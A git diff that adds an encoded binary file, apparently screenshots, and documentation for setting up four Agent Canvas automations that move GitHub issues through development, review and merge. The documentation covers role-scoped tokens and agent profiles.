zqhD)2`tPbj`R=)rJ#l{jFWw$nDmka=qEf<&sQX%j)M=qA`KQ3~sCg)m@ErLBy=4h&0&)+h_}5{q~Nxi*5e?
z^TX~%#3i)tNU9RK+kH8+1ma{M%~9wiPS2)9O(MksY+e$@QiIByf&%X7hkX(c0^Yve
zZwG|WI`NUv#RBKrjW=a-#P~t$()~l9L-GoXFP*C+0rXjSDOPOgZu|Sb(ayIT-TT@`
zBogsy+_9E>x}DPw^^^8TNIq;NK6=FuC1_OVr2pL9$4(G~`MdJe(h&b5
zn&#THG`k#rgv2fEHGt>;qi5Jo!>S}@@peJ?#ib*1*y(DA3n*&Fn
zO=l#l5|yx!YIoYgMVrbaSe~N7oSfV0qMKO%%xehFMDn0tTD~SD@S;nFQM>S8!oHp#
zzckoHH=Bzj#mB`V*ab<=^3P>P#{HGNOOy&(Ow}Y0q(k{%cF&pr0;nJn8
zgF_gz_u%gsowWrS5-UFWtj3T>hAQ7g0-0n*(`DZl}IOuQcS9Xsoq0cILg`xR%0E
z+M8iU5`qG`e_{WMo~g-?epr#7BR?vMitYZh`bbuNE$QuE(&}E3>gb>QIK-2A#p*5d
zOv&8ffVogAH`*s#*lx2Y@`t{I{rGpq%t%8$uR3(q*^eh%ejThBh0&$9n^n!uO50m^
zu$(Fn+W9fk6qELjHhQ5ZDYrIEmpS8a@roVyn1Q7|Q-GG>^&noV#J6s0UfRQ}!?GNA
zJBG)ltbO?jC;N<}`o+^yH@Lrz5|efhj`p#A65CmP>^i#^byq7+AZTyz$y$A@=AG>t
z8H})uyY3r~Kg)b9!Cf8(ou4OYWJlUw%b(qyy2G5n9V6U1vFhv*;4pbt=cDVkLhX^V
zlD@C9S`I-8Yehljm1E*g^X5&){HEm9Yeng)=H|8v^{K`R-Y?Fm%tVHJt-ri7mHWd)
z%{A>aO76DNrJ_vM%#&XiHhyl!mw%huD$wH0aZ&D^SYVPlw?4?KtyZ6Pf93|()4%!x
zt-3mEW&7l(q3oYZ!s5b?lk?9zOt83yvoc#jAFkvDMY{5Hq>u)Z$zC?7a!=%%=?)sA
z5j87~ezl!SlN%_N84<3^%0ozRxBdRBZD8k9Klsu~;31K+phCohEDx_&7wJoY(l8R~=O}$Mu0u}pq+gT9uGcLh#BR)w{B&<ftfce&-4oZLi$haCKP`627ueqS%1Ad>
z4nJXCD*xhDxnn=|tL9$MMZEzdbX-wA%_}z%TU_qWm_|oN*_|IVrTQ~8Nka=os^6xc
z7_SX3oDHm2>D>ICpLk_(m{MA>)8rMcbjk;DuZ*j?s*BXDp#
zBFlp%xzJYgayU8iY<%g4N=}Mp(;8%@`6u5okJTsor<$Qp?`1cP;Csq<8qQ&^X{d-!
z4dgiL&YZesW=kH7BDurN?8ne1d8xKdYdicQ-*voXIl_h4V-@IgJPvw$+EnOr=QjdgvKO$Pi}{uV
z&R|By&eolM@0Xn_7|9%KkK%`Ar2}5$UyaMm?GIAo^awt>ql?`
zWQ}bqq2gjZ)v|S^PG-(Jlqxf;1|A!Wei3NX>r1DP&(F!rc#QwD(mcf|E&l8A*~@{=
zrmxF6;u@l+sTQ%n{!+$45!t^p5*
z6&2*EkW>!1Se=i371chyw7)@AZn&x_l3O}*)wqk|;lHtfue4Izkzi7J~cProeiPN9vXOF6xJ0=9b4SAATx
zlY`It@3z`~7FoHZGS|PmW=c>W8Vc_U(Dy&lpzhRrpPVn@q=A=7$GTo%CgTU-B~?;ROike-gqYK&qEKRX5P@KSo7YzcK-jO
z?yH01>b@=GMgmD7xCGaR;0_7y1a}Ee<4zh&Ah-nxZoyp|Xe5oh1V{soG&GRlZjA>r
z7xMjP=FNLk^=hhK)tmDN1ud6*&pmgaz1LoQ?ZeOQ#%=c}{}i(#zbm|-BiNNkHHPv6;Exz(H-^g?sk
zqLL4dPs<;#U%d2UO`-~vYosMmS1U>KYh&sT>H5CO
zn~g6LZR6W6y3ZN&UhzU$*+;$h$G+-$R~E)b(N}?&F0QCzx0Mu2
zfIi#_(FXh#fgM@c1zl#)X;PqBDkb9ztKt#`$oB9UC(z~~((1Hf)l7)_E>#TVPZ;bp
z=qpoK*|1&-^)u!EcP{(l2qKG}Ua65h(9Ij?Qh6H59Ql-1US2r5
zPuZ}^nL2OE%m0^VB;pQCRoPgxLP>2OvLVFtW^A9+G^Z#&iw!@xBby=Y%V3GW;`1#s
z`*U?xdX&%B^ky@qE>K>0q9D(S=oF|9*X%cMV@Qr{PbuOkj(0|W%^Y}(#c?OVm%4b#
z*)5ff0pr?f%kcpA@fD;g_G^(%ROxDgnoD&Y=hXePn2H+g
z&abjUIh0IGGvDuWXhZ`SYu-`){SideUEFgU7+pmnrS~O+=cFJ#aTN_*wtKXl9
zG|@!d!bd#kgY<(28deXP)%avx}3hQFmMf?`(5-}
z#R{s!^O#Cu>w-SoOuw=FsazQfmt
z4mWeVnBuYS3Xc?qfnfR)bM;r0)=(}E>&sp8;9Su~k7-+2pzN48g!Nf8PmtN-GTkq9#~V0HA{XPJ^w{UR?a~3g^HjBYPkq
zQQjjQwL^YMf*f3z<}9Vums6Xn;TF7%P$;ujD5lD&vqjk{o4g8R2E>4(H_d0~mWp0k91<%;18
z(EP2x-o58DAV|3yAM*btP@eLyE-qG(D~JFXU)TQs_)v!IBq*EVlRs->#|StMQ#VkR
z(ueQRQ-v(PzKk2YT<(nXtCN5@(hfV}DAWOuQ&VkvS^N^*z*!)kPnH
zMQT4EV_es*{Tor}cH=6q+rAE|UD_Inqv8E2t!8ls%F-ox`&DKx(|O)fWsmNKci5G&
zfa0fZNytq`9#(g1kJxNwd
zg45!yWujk6CU9`=fAc+qr;?GbS~YSLKd~>+m`rJ#Ssvm1qySZy84#OpQhIu?gm-N8
z9W!l#eU$P{Jczt*kiouTqez2!AX&d_-9GLy>~q^%?H7(I|5_(w&6c8wdDw7r*EZT
zo)Xdc#3fACILf|)g0{9^AK%XU(q2__ATO`ec768Ki_}dBK2xBACa`$$#qBmji$3e9
z@+dui9E&y|O&G1Bv+DXDo8idEvN6~MuG*P04XY{2+qi03Rk`$Tg;BfYBNo8G>f}DVS^R?CTd`MV2{^VRy{a+T4
z{%{=1y0CtSRI404xE$s{`fxUV0G%NV#K~43qK@m%I)YwnLv*kw*w~Le$1%em&d#c>
zLqA%K)?87QdtVt62jT(J(AC7Wjsiu0d<`#KstiqaNR#DGv^a
zH`hTo)*=w>)3c5a=i+3-VFz_|1pPfxiKHD6~huD#9Ln;s2
zaZ9sDRz|m#lveI&d1SUo&eghFa%2z)pPwD6W43TAfb{6Wr7#G`UY($T4wEpZrLspt
zu;3zZ{-%VX%m3R*$P+CUcI}IEFS0yZB#Ozx6fxB;$C~XMeFR&!R~{wdtU5W_?-8C
zUpC+Vi0aHN>dLNj%X^Xc#6!5<*cOdzi*{+TUR&)Hv-1isU|wvfYpBA5b02uR!~qY8
zUA`*MK`UOah8ttaiT9S>a$e&uUjP2@?=^(FgM7=`b@F8Cv-38-re(Loi+lU>knsE$
zqsb;-!5^2@uGa!vOnSOmO_t#NfM|vTTKlOWiE`q_*`}m>Aiq9Ff2hXPcDz@pN|!xAMi!E
z1&Y1f>X!PRZGLhiEi(FS3)I5=_(mP5)b-0xOGqAuu_gZ8N{
zrIzuo4d93TnuVLv)M$oyIg%GYJnTdlo|fsA82bMU3&{A<`nq?eR!>5)&vJBaDmk>M
zp>f<(F0ms0Jy2Vvyq3-Fxv4HeDC%Kt8Su%j(o_8B2U?%4;GM1m^R{1tpB3f%7idHi
zhJMxsZ6OX;?9JVeRNc2EuFu}KC+a>a#B=ZMT%`0GQ7{sWu1Yd?KBN%FuU#_XG>zle
zDIx^fE2m=izsE6!;iu;I^_A*pCQHc9)PMf#)wCvntBq}IDs;=fp|{Iif+Ld^U^mPK
zIYaFWasfd1JqMLSqsO-9_DB2MFcHFnV4sn7FMh~RG$QZlZGGMJiu-Ev$5`c|2!kem
ztsk1wW(){^1O)~aIZ*vDuH|4>`0cNq7T)Jb3W&@x6`&<8;@64Mwe&(cEAWxzNh=+
zXH~0R`_Pg^kpBi@$o77t{I{`0sr!aIooBP{tPW|nmCs}pv9t8F;T4E&*+m`)7Sef
zuHa8+XeBMb)0QnuQPPZW%b>mygLVsLvxpzZGqUhU+uLt<=iBmJg(W%UOlSo;1)R)f
ztKWIW^lgU#!YRuacvRzYL39uy}c7?fOvuEGnM_j{F!N?
zQl_DYaBQp7lQI(K3M{n=?(?Fb_7%bj1KdZ;CZ?uP2>o4Q=gH07Kr@ys(zR7*B{NlX
z#PY^b$Qtx4m!jFef}NrXsJc?boIR;K4`G{!eeVtgu~G{=`LJYo`Rl({oFOeyA?w5I*<;H!
zR#Vf^sj~<8h@ZCA4^p|RtENoh3Cc5lLHEVplMX7+_O;W7(IZBeUaGv!`FW`ig26
zCmf_&&Fi!c(wpu>d=ds@$@oDf_;th9&m>CST{tGz%^qvW!yCaen#r`%GWLj$L@PA&(?>5Kj6d
z-h@yxBC-lz$$_qlXaSrfigWD>28N=dWF7u7Iw8{+ZRC8DB;>^{DlU7_4Nh1y)9I8I
zm8;pwmNIrlHN=LWpvk-FdFWVbX^R#B?5U-?w*GijJyD^9gH7%uNJAXhZp)Rjj$OKm
z!u;J`H#q`;9o5PRrt1br2a3J%6v$>sQOJ*^dMu0vqLgS+5p%83qYP7e>h4gNl>%p>
zUej~Tj+Q|Btl8Iuf3qcYKe%1SQ)VIQH!^A(^xql)8`)4Xw4nfDIj*Vfj-qoU+H
z=&PDLAbtC6YlH&|2~%OfQ*eun5HImM+olv8TqF{5tC~nqRxl(BkNfMh?TVrDKIFU`
zu$C}-y)?Fp(<1!WNBclP7;b!htpA>9kL7dsaE3=&Uk8>dYfv;7TUDhNRbA6iTi8D?
zrcfl{xCtCh-aGPoe6OPk6vY#MNl)k)H77U3)_cA9ZnVas0FM-XQ`*z$9Ob$|?vvWg
zyy}4K9%O}sp_rVo=Xs#4#GCwD<3F#X<)0h!-769GHujSq7@hg+!y4KO
z&IaVTD3_1}YzGoL#q?U0Y5R*6|Do=YFxgJ98l
z;Q_P@xwhlDE?E4+oRMEJReuf3Q50)Pk_WAAIgnE7UNmKm=S{~QbV2z0kfRet
zgR^1g1327BGn-=%$QDl%xGC(@?4sByVgp*YvsXX82~ut9!m8fu@;@>rLXfXw31E~N
zCq)UzQez@#!}{p7ddTb0_SJ-eRk6cE=yW}B&Ge67`yQSfFCK|$^mP~Pn91Q}RObm#
zj=qbrwDC%sy^>(Kv0DX1n;l!W&v;kgIW6>rPNFvvS+5t$5LS+YWvTZ`H55Twk!58(
zj0TXCpEED{;gEo%{$HD0Yu>V-b;)YueW~x|l%bgyIS)M4!(EiUq$_h?5e+9ER+=a?
zEEZX;LGfHligrf*ZW7|0I(_RO+!-g$DSs~BIpOQ_)fr`cG~+R6TG
zsESF~pt(sH-MzNj-mw;#@w;#eKDwvcW#+cIwz;}r0;CUd?ojHAh!Am#@JV!;;SUV-
z3A)@x8rOOW2;4Tvv*OYyCH`*jXQ^jS$rA$t-wTHgp1qAGyomLJGq9%Y4!^#smFP%T?iBo#+NyA7#e(9<#MA17~~-#tLOy*f~NT9?dZ_
zEVL`JN3-r)^2IMjKRc?+PmQ(r$Aj`L?&{4MdX!i*>dj_fRyEdt+f?A^gN!9}1+f~PC=
z1)NI>!ahFa=F6J4)}zgY*@JTv3k-C>`tq`~6S~G*FTa|<+jn2j`pFAqBUMF<=8~EO
z6BFdabYq0h&l=@ysWK`I8mwvs)9lJLOPU7h;zve-)%T*r&#xkyNbB;C5hx1Z%U@}x;y;Jn^Ive-ON^+lvqPF8WhWScE4rB3im
zt}Y|~VPpF{P9pN68tvz~_yb^!X^r+^cf1ohQcedqq8n-YICg8c{65oLCMi9;u#rJR
z0DzJLWh$*;mKz;=H^rZ{+OHV{OHIfI0l>A=@sepavp%WUiJ9FRPUcZFY$6s2bw$
zKMlOA<9hd&7fKhy()qQ{LRlKVm8Jh?_)XXg1WI$dTx)4(A2sgaAPLfZY|#|M+*9OS
z1cq*a%FM~UZrxk~cin4(dSNyyUf_Ysc;d8+hP$BvMECAr!
zhzXwO>Xkj>wa;rmpP?JIkd^xfpQ@^@O4F-_dHwb(P0*ze3#6gMEo3Yh$*4s@ke493?6VU0XoXfxHz0(<&vf$hIiYa*Te~Cg
z0D2xUCdmW^CGy_UWsqdbJVYKI&nC&l{6)q;6hP(U*uT>+Nr36_T)(9Q6I`VGV$nZk
z2+u*3L-yK;-e_GwHBHeSzFjy{II4Y}eI1Y8$bh2%$%Eaf%(-H=0^`2~eENT_9#v>(
z{-CA3ChKQU)zFG!7-ihq*Bz$ajFF3FrY7sTW`I4X?&u_ow@t
zSe7Fj`sunb-xatuImz6JCtd
zqS$dwoTNk#JU4k{@whaG04*tc`)<`RIw5id^v`17XYZ}==T4HIJY0$~)jBF!;{5{P
zwc(djOPP@p-?H4g0xNF(rNBomDZAzbcM@^>&dObCykUh<0?M%kEXEB*UF6`&T
zRGpt|^&D0;kMi4>U=Ve-Fe@LY6#okzB@1}?G8H6me*DqA{rYo>4=$6WXWl%;olgqg(?cVos&q>KhCnSk1X?CO`
z#h~u+6OlDRI8}at)A6D*!eka!hI%?@)e5MhVB#78-^$OEu{=c6Xs1oa=z>&^m7U++
zr`UZ}_weA5F=vIfhqx%xYKQ+wv(vNMogLDPODsfqB^K$CDaj
zbtrxBwyOTHWbEA>^oGl$V%-n}0n7J}Az=X8)`|H1g%s|}Z|E9?gM*V%8EQE^*KY-j
z;o&i=V=JO3LEsxXSnX=-d1O(s4b70&or-5Qw>hrQz&cZ6Sar9@;d4zeXJ0SJlSoP<
z$_D*sW$EJdLBevjzenOfvDDrNB!4L4Su-o7?;Ya|4G-p?-@8SwCuAhgCjqaRF3Xd~
zeXls|8I}HEx>}8TN6Er2E9+-36t`CXtU=?QTK3|@(}gPts}KM1{IHc(<$0J#H=E&L
z0%$AU=i=wjw)O_yldrr-^U$o<{Js}6ff8L)$7dfuqmvxG@uFrIdd~9}J7Lu>;VFZ2
z1firP&sifn!El@7{y84sgWuZYtJoBz5v2NZnQ(58!R4TCg=rX>Oyr&>n2XX+T&*D5s2?4aNdLZ
z5h?@0I_rwuX0|zfg?_WU4H%4BUoEAYLME303U^W!GihodCAfLOc&gAvM}RM-?-rOV
zXQ~k`!pQ67W-AZ_IKO+TrYck0I5nbpTUO3g38nRLfsN|;6w;6O@RSHz^TEZ7r8K1Z*qB=m{6DjraPRPv4V|
zF@OZ(*14pVp{?Jct|`B*N~k<@lgzB1KT9oi^a~BU^N7(QGZXey#ldb%&S)iBCSAZ9
z0TeiAQ!V~XrR6|-J$X|?`8?+Y)(
zcIV|7H|{;A)7tq#+49QEZE?B(=@&W4(Ju`#$E*(g7oW1}NdrH$ln5t0cGdmTkepiu
zNeF|qfFcQ`oT>*Z5=%e>@a<5R=3az&^Y6|`d9CWxMwYW+WwI*np&BP#8{`t*P)1YC
z`+DXGh6kmT*TL|lo1mccYrn^{W{|G?C}`vd@d0{Emlx89VOkjVpQQi}P;L!KZC_i{;)Rxr7M|
zW$dDmq10a%&A0%PVSq3>9Eq3`Bs>E5O(QV1bh184eb0!AABTh@Vp5CFU82E(rxe3x
zdba|Csoz8+X;L;bGHwT)`-~ro1OZ@|P7&v7+&*VXT+nJ!kC`gwkYaPoReP)XhjAyH
zc}`tiSmoZ5gOhT+zGh6CNSy{As5~P;+~+t-Z3N0cHBJ^fW*@@*Y8R5}Wv<0fke;NG
zew#vIQcv%Rl<2D;f}Sr|C%JZhjAa940VQ}%wcpzH#8hOHWd`J^GXZ&{OP4qfJ^XrU
zSu~#?9T|DVC;xZKmCdx70LqaR$NgqN!Jx%D{L|cT35l`A1}mYgPnu^`4?wey^&XC}
zsL+@_)CU|&e%wK_@U-6&o^HvLMFZ3$Z6814I^ZA^L&@MXtKNHea28_+w`xMJ@>rt$
zja5ZZ1>5E2yaPF!5kb#v5A9O7*v~Eikb7PZSg#CK?~F}_U$a%zx~x3TeSDs;yfLo1
z%?g_*=MyCI%L%-Vzd`oa`^(7Gk+!T+3f#!E)XBv(LfzzQb=e4`W+v=I3Lzpq8z*V+
zA>taO^jE9E6C{?u5Fs{&pfCftSe0c_El$t14KbQLUDWym8XahuWo~lqHo`lMVY<91
ztujrty+_vDrx{TUVRUiUIS<5@dBIp-Rze#h?TZ4Aza;87&SsY;v7X)yiJHZw?^wqg
zNwK(22w~`M1La;?ba8(HU}Z~QO_icS2c4o-WeCuE0o9bu2Bwi63BVbNJPbLCYW|?6
zsIMecC-kP~K18rfpDG!N66lEWtxF-4W%Aa(x>FwrhFC$kCHF}K#oE;A$5+~HX~>l4
zgcq00wuGG5wO@Z9jx-{XXJ|j5u64taq&j350JDnla0tlnJh}RME0z_&b-Gc(0{po8
zbKCgMUlP=RD=C!!DbMm>;1WS*2
zEreA-gnYnyd>%U5AyVX&o4?8nyn^qu*sbv;&(#nFPBr{gsO8Q?6_E+&N}r1)F@m4P
zQJ$ibj~C>8#PjOE3_LvDKe!zGn|2B!!{Nj10-Yai4W)*G&YT+wU9R}UA5DAO?Q_z?
zl$Ais8g0L9k0Iyn=|z}rAuCabl<{9%N4mIBF`u;P!HF&Q@&NqOuWrKr88<&!W_`KV
z#On4-UEwU5+=-Q1*_2rMZu%a&rET0Ef1WoXX=i25
z%ItLvnS#1Tt?gaX@f1ffA50H8=-_o7jQyOroH)W+VA#h;K=F_3rp)Uk5@A0^6{lbv
zoF^1@p)g83Sdh%oYb|$M%#2lY7Xd#W5vhWuR*<%Q1uh4%
zw`G5a6yK|0qI`*t&XQt%aHRfCdz^NQor~6Rq&7KWwuv)_Ty&O=mcBeaU2n|xvRP(v
z^0VVR8oFu!j-KF|{jpxJIGvn2-sfwzM5D(J5&tWWu(?qCon1UPi72&oK0AK$DLBaN
zbi|d_eJyRNjgl#0=-jU6fo*q$k`Tirp}Z(+}SNIK6I$x3T?vtNF9E%uJ&%bwWSEe$g5fTED)H&8Kj7xvi8c#0fbZ
z*DwFNsJ2%`qIdl8$D`09616?`^0&RT`8^^@Dw|{mLtdd#DH)`xVV3(4yMJ8tsd)?a
zsy&@9@*gB7);K3Drzd3ZVc`)BKq^CwJ(blqoiP;O!D!M_Wu!V>PtmZdtTs6fjmG8{
zaX(BjRBh=jg6`$cZyil4@F=%}ma->$7KkoHy6tDv;wgl(NGV8=qSekmk5Jyf$0LjQ
zFA@kiT+}9dEHo_ZCYrnEu)+mbt4kg>C4BN-KbaJbD7b5R+ysYTcwO&OR)&Lh54!F}
zFJ$KpTBy5(+Aa|M_K!`MCx8nN;j4TOM9pJ26!Ksr`yn(hWkz@R9Q7U@vU>*
z%xj!^eCg-VNHnFq2)h?&Ooi*CX?lV70#PEvA|{F!5fQyfs<}zcY0SBKo!rq6lFSEX
z=ro6FnfDhiI=J5o<*jv|loq`ioLE+E(25~v3GATEJfF4epP-9-!DF3k1)Zkh&XlRR
zL%-xLkWBE+4m5H!jdNu_t=t7k9J$WSZ3}RF+{22xY_pzMBFTMtJ(>I*$r8F#;|p{Y
zwc$G-pOI{AkMM$>F(b(~50~0plJw(yDCS-E{V(3cSFh>6+hCrupT;OF
z4=APydo5%QvCu^uO|RE`t-NYDizZ*w1S-=g%&Petevu2gwZogX@ohxUV0ONZ|J*7~
z!D$^MKTmGL$J2}r>HjW(7#BB)Wd_+{Pxrq_F2ycTXEY0soSXs)DG>+*NYjPy-}4fpd&B%)x%;4YyDjS?9lNA!
z`yqyWwTPA#tm4N|S5pTobx}ro*M6O9Gz^x-+e*I(zAp%Bj~fNpM1BWb4u8^g((8MygxnE|cBa_ilvoNK$rG7cpG#a-%wPVng}Qf1os&t5b}UJ68#87fDa36MAf
z8*D7+H*fC;e>-z)E8Exbi_u8gXaz{B9vFPykqQhGsWb7#F@5rz4d*-ng$wwtQ4
zoQN4{Z=dofE#T<$mH$T=B&2IZ72GFr<+shpzpK>c_1*@uI)JSCTZRY9(s)6&}dKAWcWUYp7;b_uO9(H9uK
zChVZy(sx@z`_aBFW+h>fl*;
z*}2nLcKE0`2yr|Mj~V4*$+Hei8w~4Tz&v_JcCMW9xNl;pkwWW}rBqG5e@wu;%u$PH
zcNI1E*OK=TsV?soCvRSb(ovA-iL*@!+GIzj`=kPH?U`in9cTKFqhR%
z=vM>9o*cD4TS@10IJ~207EB@Nx2L)MA_>y@i$uu1Mo(c#qGyC(r;O0fK3XysGYm*4
z0ArqL8pvpyaTFDQOOJ)HH|;JA@-yiQWwiyoYw4f@|3%H20EqoU=pTq(c_ptkW;7UO
zL0>iWw$%<7=}jfzez-gna6tqn6IYU&iJceOhqgX@^EroLwn=Bs^!Q1$Tj_bsZN+lq
z#Y4wdyF>|~_TIseB7BM5zP^h9;6N=+o)eUJlNj)rj3SaRdXy#FD?I3jl$Sbnj~``{
z4#Q5oVa%V^IC;yXx(*`4#zg}G+}_Fgb;vMY6Z*^?OU~Z?*O?U;EM4RoP|5FSR5!d(
zBkLclJUrVdpzAQX?53+P96&)_Xs311r)@GQys;@ti0wH8u{$eB%ph*y;yHfJsoYi#}%7!HNVD*5!1Sr30qc6
zlQ@?w({$fDPzv+7ee~c8vx2_Qj)~zuK-eP{p({MQ%a9+bM2U5%T`LKs|5C>N3V8a>=xA;4eOYg52{gXIZp2
zBy(xzUc{;gg$7F(SULY*9<;s))#>fZ_eM*j&^%7|g2NptvGq<3>^_o0Y)#yorDTNy
za5x$G_eDwFx|+daLAS)Q9?&XFPpD;?-4G81ihZlFf`vne0~XQyaVvo*oB?m6Kt@@=
zgoJ39F?1{u`Tglt1
z$Z$rQeEZUwly;1E-?(pf&H#UmtToAaa^3q|*iR
z$mOl=nm*1%%=BBV^hbN%IohUTx(IyID2c}X&aN0eqI*qO%d?f)0oYD_mOJrN4W92;
z%QnQkTveV9Oy%Z#t^!Pu<|{8EaheO>X-g|YF*(r$NJ$Nn4YFTjkzpGIcdFp`c>q>lCL%;<@=R!
zYO3^C(Gu1fI;tS>=TEhQTYX)&0`W=dK3okya>DfpE?L2DeA7*rN-b<$-c=P2>m#R#
z&fD)lSvlQpuQ+srkRBpfVcqJvr~)e|R3umgRx|sQzK`G0RYox?qeUp*>ux^hwS~2{
z{$FVTU!!Ok)B45Bti5)INA1)D1w#5ewO(Oi#SZ|7>2ag1#2fWekFT=|AYP}V&B#Hz
zN60aAVUoQmwB~49ReqY8hi)W*{Lb#GGNb4Uo^HW-tlNXII@K3ve$S+6sC!?exGeSl
z_-T4!;_V8+ON?wKwU@lg_wFn-ZOnXCvdfcXhRw}oL>u@jW8e8b>t4_zinpz-oF>|`
zO~y#ze9iS0;qG^QxtOldxnqf+jTCit{gLsF9|9=$jb5@k$>|6+bbQ;nWnkS?
zb)>Xv%B*)vCT!+}h?!P!`x@u5H#aJ0D@GO{9l4>H)}~x@;W;c{6r>1QP-o71}
z7V0uBqGkRY0f0L!a%*|Q&1QZP{&nWbM@q*K%e81x8RlG*Iw@(^bgyG{4F6y`ug8H`
zL6NfxQligHUr(uK&5bEEIk^Fdg2!o6$#0Zp2-BCuqDSe@A#o0yekWF2wKOcF(Fz0*Snel~x)k?%Hx$pRhi}V3VyI
zUOcF2|DEf58-73dXoI)cT(i}dX_iJ=D3nj!zr
zsXn#Z!7Y0Qq))xVV*+ls&9=Sv2~SI^=YqIw8#ZPYot{MeA`>A?_=MtsQftw#=Li8$
zO3&A&94%?PfQuf{5jG;2tv4N0ptl~mdJ+lT+u-+)R>UY}ma0Ox=|eTgynsN&6z>=b
zQF)8zD8k0H8b`5RC4pciA+4?X_B*)Zh$!v_ZkSP%h)QOktD=HRQj_l>#Bq0Zni9c)
zXOV+Y_b`S9jZJpRcgf^BoVezWM~W*&fJ9tX_DT{vfAR)Jk-cCwXl~QKW-fXL5&?*-
z)Oj(oczTN!?@{~cGf9LQhaKKKKsCETe|G!??@9v6At-EOSU+Wm_oDbK-Efv#4+?i>
zILac4?qDhJs)pp>r3@^C3%OQ*O6I8|GBKE>g<0Lo$T9J`!X4D|CP~}w>pJmX+7ai`
z0+Q<$JFjzR!{s40~4SBTNZxV9NqTh`A
z&v9d#KtS$7v*gwX`YzsUPv5-<(CuQ1mowGSx)Ck^XM1(-<+T~8JOISJ(zE?M`j@J%
zPipdgY9Im7k4Qt~qTt5-9``Nm<~LVwRASX81q5Ipwc?g&mUstTy=3fR%l=zpv_`cE
zn7NpM8=fIFvS%LBf9_qw${*6}u0_i5B%f{ExiLL@(!4rH)?IM*#n$afO)y~>Fi{gGI|Ak<-pBf;Hc3GBne(eElrr6!Z
zKjy#&3ddvt(KO++I`KbIpRZ|0t=rSvn^}<&)QJOYE$QQ#zc6(urkkFDp(PkLnQP&>
zLO-KBSO2P&6%w(e0@PGOwQWmFvN?$(Evl0(f&3ORR@*v;O|n7Xe$mJKntEY;EIfNw
z5gCyKbuU%AvHNo5Iy>XZO3pU_bX=%qO*Z((*C_q#Tx>=~4>sTS&(LeFlpBpNwU4fs
z+kZlI5I7|+;kbdNzY*Gvlw?2yy+c2{g_keoCYzSAlqZ?f5~4`sT+Rv#4=Ra;vNgu^i1!%U!HaITO+
z4rpd-YRZ}@PxJg5FrUA>t9~=M&6NF>WHTg34o?`XWh;Xq>t|%W&-_i{vP7J*Zzl&${s3m=Q+O(4iXWw@$$S9tmsrH
z!rWS6bemFv28X)bKyt$xP^&vKY3lCk>UOFhDcleU_gHqJZQGn2o%-okt2205<^o*{
zTnhV;7|`*vcgZ;#zL5-w>YsZ1g2Bam<4ewK4MCSw@p3>zY95~Es|E|~fAede&xB4%
zNrN)R?d)gLpk*5{$4ZU#)Oz2ofYt2zb&(%hnNl6b?mHVe9<_@LXBjr8YJfmdDX$jS
zqr9%kvW%1pC$4zFcxcpt0!%YZ
zW21V?7H9x`e!SygJ4TJu)Y{(e|My
z{d~Z!?vH0~XVo<{%*f2#+1|!q7nXh$*uJ{Ddblz1LelyUDbPz0=znzP{&ywa@|+#$
zB#ywZhN||mltdmQf2rm(oY>;WX+w1-Xw?{mIVg*+rX1!G-7#)rTbih9z_V7NZo%sF
zo{IzfqTupuHXLpF%C??L8P-2{U3=^KQRscEO8mgRf>T6fdz{XBO`-6<$rDpOt@;U#
zdO_i5AiNhEwpe7VcJJOzCJs0Gk`B|NfsS{;h-{DqFo}r`GE&m918kt7k+zb#g++cv
z1zYCu&T{K@9M~$AK{cOb$V18@`c1`?1sSGV98y+>Z(6LL$)FCXB8QsmFxtc~WzXBe
zQl7{Ma<2uy0YizI<@?mjMWBUkwl?g-r+g%hKQgp>o@9|buJ%b%5A>RG0FMVCT8IR@
zIXUgkN(rN_@cx!33{R`wA;k(i!ddGvq#K_cS$0j*`evbC0(N@uYq-7h=w4#M&N35d
z`*osPuM!*np=ICq-zF=7W{Q9Oq<%R=(pLF6*q$;6AM1r_YPClH5?2X*WkogerI1DO
zEn7fjbZX;pd%6ygHI!5Vv>Az+i?#p9bfyJp088`G&{W8}(27Evt1>cGb2gSP`p9rG
z;akb~%6Hc{$Vl(rX<(^Y!p{7c-T7;3QnK*IklIJRUV3JQt3}>$wS2YR`qDCJyYa7U
zOLqrGjWi
zwTsWDT|T|R4ZMeVj{*oOP4c(C5DkpPbo5!S(wPB~9s>iBlFn@Uf$_EYUO(2O2
zh2VlIE@jOIaP7=6R0`+6@jy@f|8Mrgy$#4<1NCE=8LAZH3jPPNfoo__S3j3^P6
+  
+    Take GitHub issues through development, independent review, testing, and merge with four automations.
+  
   
+  Step-by-step Canvas setup: model, scoped profiles, and four independent automations
+
+
+
+This walkthrough requires Agent Canvas 1.24.0 or later, which supports agent profiles in automations and [per-conversation Docker containers](/openhands/usage/agent-canvas/backend-setup/docker-execution).
+
+
+## Before You Start
+
+Use an Agent Canvas backend with Automation enabled and bounded Docker workspaces. Prepare a GitHub repository with clear test commands and three repository-scoped [fine-grained personal access tokens](https://docs.github.com/en/rest/authentication/permissions-required-for-fine-grained-personal-access-tokens):
+
+| Token | Repository permissions |
+| --- | --- |
+| Triage | Contents: read. Issues: read and write. |
+| Developer | Contents, Issues, Pull requests: read and write. Actions, Commit statuses: read. |
+| Reviewer | Contents and Actions: read. Issues, Pull requests, Commit statuses: read and write. |
+
+Metadata read access is included by GitHub. The watchdog reuses the developer token. The reviewer can publish findings and statuses but cannot push code. Add Workflows write permission to the developer token only if agents need to change GitHub Actions workflow files.
+
+## Configure Canvas
+
+
+  
+    In the welcome screen, choose OpenHands, then configure your model and API key. For an OpenAI-compatible provider, use `Advanced` to enter the model name and base URL. Save and close the welcome screen.
+
+    Advanced model settings with the API key hidden
+  
+  
+    Open `Settings` → `Secrets` → `Add a new secret`. Save:
+
+    - `FACTORY_GITHUB_TRIAGE_TOKEN`
+    - `FACTORY_GITHUB_DEVELOPER_TOKEN`
+    - `FACTORY_GITHUB_REVIEWER_TOKEN`
+
+    Keep token values in this secret store. Automation forms use their names.
+  
+  
+    Open `Settings` → `Agent` → `Add agent profile`. Select your saved model. Under `Secrets`, choose `Choose secrets` and select only the token for that role. Use `Choose servers` with no MCP servers for these GitHub workflows, and disable model switching and sub-agents.
+
+    | Profile | Selected secret |
+    | --- | --- |
+    | `factory-triage` | `FACTORY_GITHUB_TRIAGE_TOKEN` |
+    | `factory-developer` | `FACTORY_GITHUB_DEVELOPER_TOKEN` |
+    | `factory-reviewer` | `FACTORY_GITHUB_REVIEWER_TOKEN` |
+    Triage profile with only the triage token selected
+  
+
+
+## Add the Four Automations
+
+Open `Automate` → `Templates`, search for each template below, and choose `Continue with local setup`. Each scanner resolves the saved token named in its form. The triage, developer, and reviewer profiles independently restrict what their delegated agents receive.
+
